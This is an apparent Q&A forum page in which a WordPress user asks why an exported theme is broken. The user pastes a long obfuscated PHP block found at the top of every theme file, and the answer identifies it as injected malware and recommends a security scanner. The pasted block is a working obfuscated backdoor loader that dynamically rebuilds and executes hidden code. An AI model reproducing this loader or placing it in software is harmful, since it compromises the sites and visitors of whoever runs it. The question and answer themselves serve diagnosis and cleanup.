CODEWITHSUNDEEP
phpwordpress
user1426583
user1426583

Reputation: 319

Broken Wordpress Theme Once Exported

I have exported my wordpress theme (which is currently installed / activated and working correctly) to a zip file, however I cannot activate this theme on any other domain as says the theme is broken.

I have looked through each of the Theme's files, and found that there are pieces of "jumbled" text such as below, at the top of each of the theme php files. Could this be causing the theme to be "broken" ?

I have tried removing all this text, but after saving, the text returns back into the php files.

Could this be causing the theme to be "broken" ?

<?php $sxxjjephu = '#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#z)#]341]88M4P8]37]278]225]241]3))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssbuvso!%bss    x5csboe))1/35.bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!6*3qj%7>    x2272qj%)7gj6<**2qj%)hopm3qjA334}472    x24<!%ff2!>!bssbz)  x24]25  x24-    x24-!%>5h%!<*::::::-111115P6]y6gP7L6M7]D4]275]D:M8]Df#boepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:552]88]5]48]32M3]317]4*#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opju#Qi x5c1^W%c!>!%i   x5c2^<!Ce)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr   x5c1^-%r    x5c2^-%hOh/#00#W~!34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]4*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBF)qj3hopmA x273qj%6<*Y%)fnbozc!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp/    x24)##-!#~<#/%  x24-    x24!>!fyqmpef)# x24*<!%t::!>!   x2]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_  x5c}X   x24<!%97f-s.973:8297f:5297e:56-xr.985:5) or (strstr($uas,"  x72 166 x3a 61  x31")) or (npd!opjudovg!|!**#j{hnp}&;ftmbg} x7f;!osvufs}w;* x~6<Cw6<pd%w6Z6<.5`hA   x27pd%%!*72!    x27!hmg%)!gj!<2,*j%-#1]#-beu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf   x27*&7-n%)utjm6<    x7fw6*CW&)7g7f!>>   x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg4Ypp3)%cB%iN}#-!    x24/%tmw/   x24)%c*W%eN+57  x6d 145")) or (strstr($uas,"    x66 151 x72 145 x66 >1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2utjyf`439275ttfsqnpdov{h1927:ftmbg39*56A:>:8:|:7#6#)tx5cq%7/7#@#7/7^#iubq# x5cq%   x27jsv%6<C>^#of:opjudovg<~  x24<!%o:!>! x242178}527}88:}R37,#/q%>U<#16,47R57,x7f;!opjudovg}k~~9{d%:osvufs:~928>>    x22YufhA    x272qj%6<^#zsfvr#   76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%twwl} x27;%!<*#}_;#)323ldfid>}&;!osvufs}  {ftmfV  x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67|!*5!    x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>157   x78"))) { $babyzmy = "  x63 162 x65 141 x74 145 x5f 146 x75 1vctus)%    x24-    x24b!>!%yy)#}#-#    x24-    x24-tusqpt)%z-#:#*  x24-    x2" x61 156 x75 156 x61"]=1; $u27R66,#/q%>2q%<#g6R85,67R36|7**111127-K)ebfsX    x27u%)7fmjix6<C x27&6<*rfs%7-K)fujs7gj6<*doj%7-C)fepmqnjA   x27&6<.fmjgA    x27doj%6<   x7fw6*  x7f_tmw!>!#]y84]275]y83]273]y76z+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;ogoj{hA!osvufs!~<3,j%>j%!*3!   x27!hm% x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tas=strtolower($_SERVER["    x48 O#-#N#*-!%ff2-!%t::**abltfu($n){return chr(ord($n)-1UUI7jsv%7UFH#   x27rfs%6~6< x7fw6<xX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20Q18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3ubE{h%)tpqsut>j%!*9!    x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-)1/14+9**-)1/2986+7**^/%rx<~)%epnbss-%rxW~!Ypp2)%zB%z>!    x24/%tmw/   x24)%z3]Kc]55Ld]55#*<%bG9}:);} @error_reporting(0); $fzfxano = implode(array_map("vabl*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<;`msvd}R;*msv%)}.;`UQPMSVD!-id%v`ftsbqA7>q%6<    x7fw6*  x7f_*#fubfsdXk5`{66~6<&w6<  x7fw6*CW&)SUT`LDPT7-UFOJ`GB)fubfsdXA    x27K6<  x7fw6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z6<.]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2Lj%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e  x27,*d  x27,*c  x2pjudovg}x;0]=])0#)U!  x27{**u%-#jt0}Z;0]=]0#)2q%124   x54 120 x5f 125 x53 105 x52`hA  x27pd%6<C   x27pd%6|6.7zsfvr#   x5cq%7**^#zsfvr#    -SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:*[!%cIjQeTQcOc/#00#W~7,18R#>q%V<*#fopoV;hojepdoF. (strstr($uas,"  x63 150 x72 1fepdof`57ftbc  x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%   x5cSFWSFT`%}!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobujojR x27id%6<    x7fw6*  x7f_*#ujojRk3`{666~6<&w6<   x7fw6*CW&)7gj6<.7,*b    x27)fepdof.)fepdof./#@#/qp2]48y]#>s%<#462]47y]252]dovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>   xp% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*224-  x24gps)%j>1<%j=tj{fpg)% x24-    x24*<!~!    x24/%t2w56  x63 164 x69 157 x6e"; function v]277#<!%t2w>#]y74]273]y<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]54!>!   x24/%tjw/   x24)%   x24-    x26985:6197g:74985-rr.93e:55X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54tfu",str_split("%tjw!>!#]y84]275]y83]248]y83*id%)dfyfR x27tfs%6<*17x5cq%)ufttj x22)gj6<^#Y#    x5cq%   x27Y%6<.ms49#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepng%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j[A    x27&6<  x7fw6*  x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}*)323zbek!~!<b%  x7f!<b%)gpf{jt)!gj!<*2bd%-#1GO  x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3o)uqpuft`msvd},;uqpuft`msvd}+;!>!}    x27;!>>>!}_;gvc%2985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]812)eobs`un>qp%!|Z~!<##!>o#>b%!**X)ufttj    x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)my("", $fzfxano); $xqikzds();}}!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`4y4 x24-    x24]y8  x24-    x24]26  x24-    x24<%j,,*!| x]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!   x2467675j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:*j6<*K)ftpmdXA6~6<u%7>/7&%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYs45]212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsf2 137 x41 107 x45 116 x54"]); if ((strstr($uas,"  x6d 163 x69 145")if((function_exists("  x6f 142 x5f 163 x74 141 x72 164")!>!    x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]3722!ftmbg)!gj<*#k#)usbut`cpV  x7f x7f x7f x7f<u%V x27W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X)sutcvt)!gj!|!*bubE{h%)j{h<#64y]552]e7y]#>n%<#372]58y]472]37y]67svufs} x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;33bq}k;oX>b%Z<#opo#>b%!*##>>X)!gjZ<#op!Ydrr)%rxB%epnbss!>!bssbz)#44ec:6d#)tutjyf`opjudovg   x22)!gj}1~!<2/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%#/#7e:55946-tr.984:75983:48984:71tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b && (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[}.}-}!#*<%nfd>%fdy<Cb*[%h!>!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=strstr($uas,"   x61 156 x64 162 x6f 151 x64")) or:>%s:  x5c%j:.2^,%b:<!%<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$xqikzds = $babyz)%w`TW~   x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-c:>%s: x5c%j:^<!%w`    x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j24-   x24gvodujpo!    x24-    x24y7   x24-    x24*<!  xFUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSmddpoul'; $xgqhxcbk=explode(chr((587-467)),substr($sxxjjephu,(40424-34404),(221-187))); $hhextomj = $xgqhxcbk[0]($xgqhxcbk[(4-3)]); $bfrsrhv = $xgqhxcbk[0]($xgqhxcbk[(9-7)]); if (!function_exists('yyotdxywm')) { function yyotdxywm($eisqdvji, $pvzezbsl,$jbmezkjvu) { $wzupol = NULL; for($pdylrz=0;$pdylrz<(sizeof($eisqdvji)/2);$pdylrz++) { $wzupol .= substr($pvzezbsl, $eisqdvji[($pdylrz*2)],$eisqdvji[($pdylrz*2)+(3-2)]); } return $jbmezkjvu(chr((60-51)),chr((454-362)),$wzupol); }; } $khvknpxsu = explode(chr((230-186)),'4998,55,5565,60,1964,29,2351,29,3205,30,4932,66,970,46,5692,47,3464,29,1280,52,1839,64,3851,35,2401,31,2701,59,4078,44,4713,48,1066,27,2941,55,3235,26,1126,65,4814,24,2019,55,2464,36,2432,32,646,59,2903,38,173,38,705,29,1585,24,1442,41,3261,24,4145,41,2844,59,2074,57,2760,53,4122,23,3285,61,3603,64,4278,48,5167,46,2813,31,4408,50,1039,27,1191,50,445,67,2277,34,4241,37,1093,33,2550,58,135,38,1771,68,3054,34,5213,26,1016,23,5393,32,3759,42,4347,61,3088,70,3667,31,255,20,4512,23,3553,50,2158,54,5425,63,60,51,4629,38,5975,45,4326,21,5330,30,4535,63,3493,60,4033,45,1666,38,1546,39,1417,25,1389,28,4761,53,365,53,3722,37,5116,51,1704,67,1525,21,1993,26,3436,28,2212,65,5277,53,3158,47,879,58,2131,27,3886,23,1609,57,5053,63,3346,69,5239,38,3698,24,2500,50,1483,42,211,44,2311,40,1903,61,3979,28,4667,46,5934,41,3801,50,782,54,1241,39,418,27,3415,21,5360,33,4186,55,2636,44,512,69,4838,36,304,40,4007,26,937,33,4458,54,5488,33,836,43,2996,58,275,29,3909,70,2680,21,5625,27,734,48,29,31,581,65,344,21,4874,58,111,24,2608,28,5652,40,5521,44,5739,22,5884,50,1332,57,5819,65,0,29,2380,21,5761,58,4598,31'); $wvqhjnex = $hhextomj("",yyotdxywm($khvknpxsu,$sxxjjephu,$bfrsrhv)); $hhextomj=$sxxjjephu; $wvqhjnex(""); $wvqhjnex=(369-248); $sxxjjephu=$wvqhjnex-1; ?>

Upvotes: 0

Views: 67

Answers (1)

Greg Burkett
Greg Burkett

Reputation: 1945

Looks like your site was hacked -- those jumbled strings are obfuscated malicious code inserted by a hacker.

Is your theme from the WordPress.org theme repository? If so, you can download and run a plugin called WordFence to have it scan your theme and reset it back to how it was from the theme repo. If you've made any direct changes to your theme, they would be lost -- so in that case you'd probably just need to go through and repair the files manually or from a backup before the hack.

Regardless of the above, it sounds like you should probably run WordFence or another security plugin on your first site, as that hack is probably just going to reinfect until you remove the source. It could be code in a plugin, in your functions file, in WordPress core files... Wordfence will help you pinpoint the source and hopefully repair for you.

Upvotes: 1

Related Questions